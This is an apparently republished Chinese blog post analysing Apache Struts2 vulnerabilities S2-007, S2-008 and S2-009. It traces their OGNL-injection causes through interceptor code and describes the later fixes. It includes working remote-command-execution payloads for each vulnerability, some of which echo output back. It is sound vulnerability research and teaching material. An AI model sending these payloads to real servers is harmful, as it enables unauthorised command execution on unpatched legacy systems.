[旧文系列] Struts2历史高危漏洞系列-part2:S2-007/S2-008/S2-009

文章目录

  • 关于<旧文系列>
  • 前言
  • S2-007
    • 漏洞复现与分析
    • 可回显PoC
    • 漏洞修复
  • S2-008
    • 漏洞复现与分析
      • Vuln-1:Remote command execution in CookieInterceptor
      • Vuln-2:Remote command execution in DebuggingInterceptor
    • Vuln-2:可回显PoC
    • 漏洞修复
  • S2-009
    • 漏洞复现与分析
    • 可回显PoC
    • 漏洞修复
  • Reference

关于<旧文系列>

<旧文系列>系列是笔者将以前发到其他地方的技术文章,挑选其中一些值得保留的,迁移到当前博客来。

文章首发于奇安信攻防社区:
https://forum.butian.net/share/601
https://forum.butian.net/share/602
https://forum.butian.net/share/603
时间:2021-08-31


前言

尽管现在struts2用的越来越少了,但对于漏洞研究人员来说,感兴趣的是漏洞的成因和漏洞的修复方式,因此还是有很大的学习价值的。毕竟Struts2作为一个很经典的MVC框架,无论对涉及到的框架知识,还是对过去多年出现的高危漏洞的原理进行学习,都会对之后学习和审计其他同类框架很有帮助。

传送门:
[旧文系列] Struts2历史高危漏洞系列-part1:S2-001/S2-003/S2-005


S2-007

官方漏洞公告:

https://cwiki.apache.org/confluence/display/WW/S2-007

影响版本:Struts 2.0.0 - Struts 2.2.3

漏洞复现与分析

从漏洞公告可获悉该漏洞出现的场景和PoC。

这里使用Struts2 2.2.3自带的示例应用showcase进行漏洞复现,找到校验器Validate部分,如下:
[旧文系列] Struts2历史高危漏洞系列-part2:S2-007/S2-008/S2-009_第1张图片
如上图,在Integer Validator Field一栏的输入框中,输入PoC <' + #application + '>,提交后,由于没有通过应用程序中定义的整数校验器的校验,所以将输入中包含的OGNL表达式进行解析,并将解析结果进行返回。
[旧文系列] Struts2历史高危漏洞系列-part2:S2-007/S2-008/S2-009_第2张图片
从漏洞公告中可获悉漏洞出现在struts2的默认拦截器com.opensymphony.xwork2.interceptor.ConversionErrorInterceptor的getOverrideExpr()方法中(但经调试发现,实际上调用的是其子类StrutsConversionErrorInterceptor的getOverrideExpr()方法。):
[旧文系列] Struts2历史高危漏洞系列-part2:S2-007/S2-008/S2-009_第3张图片
如上图,该方法返回"'" + value + "'"。结合给出的PoC,很容易可猜想到,该方法会将文本输入框中提交过来的字符串用单引号’包裹上,原因应该是为了防止OGNL表达式的执行。很明显,可构造输入将这里的单引号’左右都进行闭合,便可以绕过防护。

在调试分析该漏洞前,建议先了解下struts2的主体架构和运行主线,关于这个可参考陆舟编著的《Struts2技术内幕》第七、第八章。
 
另外,还需要了解一下struts2的校验器框架的原理。关于这个可参考链接:https://blog.csdn.net/Mark_LQ/article/details/49837507

struts2提供的校验器框架,也是通过拦截器去实现的。按照拦截器的先后顺序,下面会提及最后的四个:
[旧文系列] Struts2历史高危漏洞系列-part2:S2-007/S2-008/S2-009_第4张图片

  • params对应的类:com.opensymphony.xwork2.interceptor.ParametersInterceptor
  • conversionError对应的类:org.apache.struts2.interceptor.StrutsConversionErrorInterceptor
  • validation对应的类:org.apache.struts2.interceptor.validation.AnnotationValidationInterceptor
  • workflow对应的类:com.opensymphony.xwork2.interceptor.DefaultWorkflowInterceptor

表单提交后,会先到拦截器ParametersInterceptor#doIntercept()进行处理,会把参数存到当前值栈ValueStack的上下文对象context中,然后再把执行的控制权移交下一个拦截器StrutsConversionErrorInterceptor去执行。
[旧文系列] Struts2历史高危漏洞系列-part2:S2-007/S2-008/S2-009_第5张图片
StrutsConversionErrorInterceptorActionContext中将转化类型时发生的错误信息添加到校验器对应的Action对象的FieldError中,在校验时候经常被使用到来在页面中显示类型转化错误的信息。
[旧文系列] Struts2历史高危漏洞系列-part2:S2-007/S2-008/S2-009_第6张图片
另外,还会将类型转化失败的参数值传入getOverrideExpr()方法进行处理,处理后再通过回调的方式保存到当前值栈ValueStack对象的属性overrides中,该属性是一个Map集合。
[旧文系列] Struts2历史高危漏洞系列-part2:S2-007/S2-008/S2-009_第7张图片
[旧文系列] Struts2历史高危漏洞系列-part2:S2-007/S2-008/S2-009_第8张图片
问题就出现在这个getOverrideExpr(),这里只是简单的用单引号'包裹文本框输入。所以输入的时候添加单引号’将这里的单引号闭合即可让OGNL表达式跳出单引号的包裹。

拦截器StrutsConversionErrorInterceptor处理完后就将执行的控制权移交给下一个拦截器AnnotationValidationInterceptor

AnnotationValidationInterceptor的职责就是获取应用程序定义的校验器(validator),并使用这些校验器对用户输入进行校验,结果是校验失败。校验结束后,将执行的控制权移交给最后一个拦截器DefaultWorkflowInterceptor

由于在AnnotationValidationInterceptor中使用校验器校验用户输入的结果是校验失败,所以在DefaultWorkflowInterceptor中就根据该结果,返回字符串"input",产生的结果就是返回input视图页面,从而中止了整个执行栈的调度执行。

接着就是构造input的视图页面,它是JSP页面,所以后面的漏洞触发流程也就跟S2-001差不多了,调用栈如下:

TextFieldTag#doEndTag()
  ComponentTagSupport#doEndTag()
    UIBean#end()
      UIBean#evaluateParams()
        Component#findValue()
          TextParseUtil#translateVariables()
            OgnlValueStack#findValue()
              OgnlValueStack#tryFindValueWhenExpressionIsNotNull()
                OgnlValueStack#tryFindValue()
                  OgnlValueStack#lookupForOverrides()
                  OgnlValueStack#getValue()

其中,在OgnlValueStack#lookupForOverrides()方法中会取出当前值栈的overrides属性,该属性中存放了前面类型转化失败的入参,也就是文本框中输入的内容。取出来后进行OGNL表达式计算。
[旧文系列] Struts2历史高危漏洞系列-part2:S2-007/S2-008/S2-009_第9张图片
[旧文系列] Struts2历史高危漏洞系列-part2:S2-007/S2-008/S2-009_第10张图片
至此,该漏洞的原理分析完了。

可回显PoC

' + (
#_memberAccess.allowStaticMethodAccess=true,
#context['xwork.MethodAccessor.denyMethodExecution']=false,
#[email protected]@getRuntime().exec('id'),
#br=new java.io.BufferedReader(new java.io.InputStreamReader(#ret.getInputStream())),
#res=new char[20000],
#br.read(#res),
#writer=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse').getWriter(),
#writer.println(new java.lang.String(#res)),
#writer.flush(),
#writer.close()
) + '

[旧文系列] Struts2历史高危漏洞系列-part2:S2-007/S2-008/S2-009_第11张图片

漏洞修复

Struts2 2.2.3.1版本,依赖的XWork的版本也是2.2.3.1,在默认拦截器org.apache.struts2.interceptor.StrutsConversionErrorInterceptorgetOverrideExpr()方法中进行了修复。
[旧文系列] Struts2历史高危漏洞系列-part2:S2-007/S2-008/S2-009_第12张图片
在这里插入图片描述
如上图所示,对输入字符串中的双引号进行了转义后,再用双引号将其包裹。从而避免了输入字符串中的双引号闭合左右两边的双引号。

S2-008

官方漏洞公告:

https://cwiki.apache.org/confluence/display/WW/S2-008

影响版本:Struts 2.0.0 - Struts 2.3.1

从漏洞公告可知,S2-008一共4个漏洞。第一个漏洞与S2-007漏洞点类似,故不再关注。这里只关注能RCE类型的第2个和第4个漏洞。

  • Remote command execution in CookieInterceptor
  • Remote command execution in DebuggingInterceptor

漏洞复现与分析

Vuln-1:Remote command execution in CookieInterceptor

拦截器CookieInterceptor在struts2中默认是不开启的。需要在应用的struts.xml配置文件中手动开启,且要配置参数才行,如下图:
[旧文系列] Struts2历史高危漏洞系列-part2:S2-007/S2-008/S2-009_第13张图片
其实该漏洞跟S2-005类似,是因为在CookieInterceptor拦截器中没有对cookie进行合法性校验从而导致了可以在cookie的键key位置注入恶意的OGNL表达式。
[旧文系列] Struts2历史高危漏洞系列-part2:S2-007/S2-008/S2-009_第14张图片
[旧文系列] Struts2历史高危漏洞系列-part2:S2-007/S2-008/S2-009_第15张图片
然而主流Web容器比如Tomcat,会对cookie的名称有字符限制,一些关键字符无法使用使得这个漏洞点显得比较鸡肋。

尽管如此,在后续的修复版本中,还是在CookieInterceptor中增加了正则表达式进行字符白名单匹配。
[旧文系列] Struts2历史高危漏洞系列-part2:S2-007/S2-008/S2-009_第16张图片
[旧文系列] Struts2历史高危漏洞系列-part2:S2-007/S2-008/S2-009_第17张图片

Vuln-2:Remote command execution in DebuggingInterceptor

该漏洞的前提条件是需要应用开启devMode模式。
[旧文系列] Struts2历史高危漏洞系列-part2:S2-007/S2-008/S2-009_第18张图片
正如vulhub上面提到的一样,该漏洞虽然较为鸡肋,但也可用作后门:

在 struts2 应用开启 devMode 模式后会有多个调试接口能够直接查看对象信息或直接执行命令,正如 kxlzx 所提这种情况在生产环境中几乎不可能存在,因此就变得很鸡肋的,但我认为也不是绝对的,万一被黑了专门丢了一个开启了 debug 模式的应用到服务器上作为后门也是有可能的。

漏洞原理比较简单,因为代码显而易见,在DebuggingInterceptor#intercept()中对入参进行了OGNL表达式计算,如下图:
[旧文系列] Struts2历史高危漏洞系列-part2:S2-007/S2-008/S2-009_第19张图片
可简单执行命令的PoC如下:

/devmode.action?debug=command
&expression=(%23_memberAccess.allowStaticMethodAccess=true,@java.lang.Runtime@getRuntime().exec('touch%20/tmp/success2'))

Vuln-2:可回显PoC

因为DebuggingInterceptor会把表达式的计算结果返回,所以这里就没有必要获取response对象了:

/devmode.action?debug=command
&expression=(%23_memberAccess.allowStaticMethodAccess=true,%[email protected]@getRuntime().exec('id'),%23br=new%20java.io.BufferedReader(new%20java.io.InputStreamReader(%23ret.getInputStream())),%23res=new%20char[20000],%23br.read(%23res),new%20java.lang.String(%23res))

[旧文系列] Struts2历史高危漏洞系列-part2:S2-007/S2-008/S2-009_第20张图片

漏洞修复

后续的版本中,并没有对拦截器DebuggingInterceptor中的代码进行修复,因为就该调试功能本身而言,并不是漏洞。所以后续的修复主要是针对SecurityMemberAccess的代码进行改进,增强安全性。

S2-009

官方漏洞公告:

https://cwiki.apache.org/confluence/display/WW/S2-009

影响版本:Struts 2.0.0 - Struts 2.3.1.1

漏洞复现与分析

S2-009是S2-005的修复绕过,而且绕过的方法很巧妙。(btw,S2-003/S2-005/S2-009都是当时Google安全团队的Meder Kydyraliev报告的)

在调试分析这些老漏洞的过程,其实也是在观摩安全人员和开发人员之间的对抗过程,挺有趣的)

前面分析过S2-003/S2-005漏洞可以知道,现在为了防止请求参数名中的OGNL表达式执行,主要做了以下两点:

  • 添加了类SecurityMemberAccess,且其属性allowStaticMethodAccess默认为false,来防止利用OGNL表达式去执行Java方法;
  • 在拦截器ParametersInterceptor中对请求参数名进行正则表达式白名单字符的匹配,来防止特殊符号(比如:#符号)经过unicode编码后的绕过。

这次的绕过使用到了OGNL表达式求值的另一种写法:[(ognl_java_code)(fuck)]。测试了一下,这种写法确实是有效的,如下图:
[旧文系列] Struts2历史高危漏洞系列-part2:S2-007/S2-008/S2-009_第21张图片
另外,在Action以属性封装的形式接收表单数据的情况下,比如myaction?testparam=xxx&z[(testparam)(fuck)],且myaction对应的Action类也有名为testparam的成员属性。提交后,struts2会将xxx赋值给Action的成员属性testparam,接着处理第二个参数z[(testparam)(fuck)]时,先在Action类中检索名为testparam的属性的值,将检索到的值进行OGNL表达式计算。最关键的是,z[(testparam)(fuck)]这种参数名形式是匹配ParametersInterceptor拦截器中用来校验参数名合法性的正则表达式[a-zA-Z0-9\.\]\[\(\)_']+的。

因此,把恶意的OGNL表达式放置在testparam参数值,即xxx的位置,便可以规避拦截器ParametersInterceptor的正则表达式白名单字符的匹配,最终达成RCE。

下面以Struts2 2.3.1.1自带的示例程序showcase为例,找到ajax/Example5Action.java,其代码很简单,且符合使用属性封装的形式来获取提交过来的表单数据(这里的表单,不要狭隘地理解为HTML中的form表单,而是通过http提交数据的一种形式:key=value),如下图:
[旧文系列] Struts2历史高危漏洞系列-part2:S2-007/S2-008/S2-009_第22张图片
构造可简单执行命令的PoC如下:

http://vulfocus.me:31519/S2-009/ajax/example5?
name=(%23_memberAccess.allowStaticMethodAccess=true,%23context['xwork.MethodAccessor.denyMethodExecution']=false,@java.lang.Runtime@getRuntime().exec('touch%20/tmp/success2'))
&z[(name)(fuck)]

如下图,在拦截器ParametersInterceptor处理完第一个请求参数name后,Example5Action的成员属性name被成功赋值,它的值就是我们提交的包含恶意Java代码的OGNL表达式。
[旧文系列] Struts2历史高危漏洞系列-part2:S2-007/S2-008/S2-009_第23张图片
在解析第二个参数z[(name)(fuck)]的过程中,会解析为两个ASTProperty类型的节点,如下图:
[旧文系列] Struts2历史高危漏洞系列-part2:S2-007/S2-008/S2-009_第24张图片
然后会去当前Action对象Example5Action中检索name成员变量的值,如下图:
[旧文系列] Struts2历史高危漏洞系列-part2:S2-007/S2-008/S2-009_第25张图片
接着对获取到的name的值进行OGNL表达式计算,最后成功执行命令,如下图:
[旧文系列] Struts2历史高危漏洞系列-part2:S2-007/S2-008/S2-009_第26张图片
在这里插入图片描述

可回显PoC

/example5.action?name=(#_memberAccess.allowStaticMethodAccess=true,
#context['xwork.MethodAccessor.denyMethodExecution']=false,
#[email protected]@getRuntime().exec('id'),
#br=new java.io.BufferedReader(new java.io.InputStreamReader(#ret.getInputStream())),
#res=new char[20000],
#br.read(#res),
#[email protected]@getResponse().getWriter(),
#writer.println(new java.lang.String(#res)),
#writer.flush(),
#writer.close())
&z[(name)(fuck)]

[旧文系列] Struts2历史高危漏洞系列-part2:S2-007/S2-008/S2-009_第27张图片

漏洞修复

Struts2 2.3.1.2版本,依赖的XWork版本也是2.3.1.2,在拦截器ParametersInterceptor中,对请求参数名的合法性校验进行了增强,即增强了正则表达式。
在这里插入图片描述
另外,还将ParametersInterceptor中的newStack.setValue()替换为newStack.setParameter()方法调用,在OgnlValueStack#setParameter()方法中,会通过boolean标志位去禁止OGNL表达式计算的。

Reference

[1] hxxp://vulapps.evalbug.com/tags/#struts2
[2] hxxps://github.com/vulhub/vulhub/tree/master/struts2
[3] hxxps://securitylab.github.com/research/ognl-apache-struts-exploit-CVE-2018-11776/
[4] hxxps://securitylab.github.com/research/apache-struts-CVE-2018-11776/
[5] 《Struts2技术内幕:深入解析Struts2架构设计与实现原理》- 作者:陆舟
[6] hxxps://i.blackhat.com/USA-20/Wednesday/us-20-Munoz-Room-For-Escape-Scribbling-Outside-The-Lines-Of-Template-Security-wp.pdf

你可能感兴趣的:(struts,安全,web安全,java)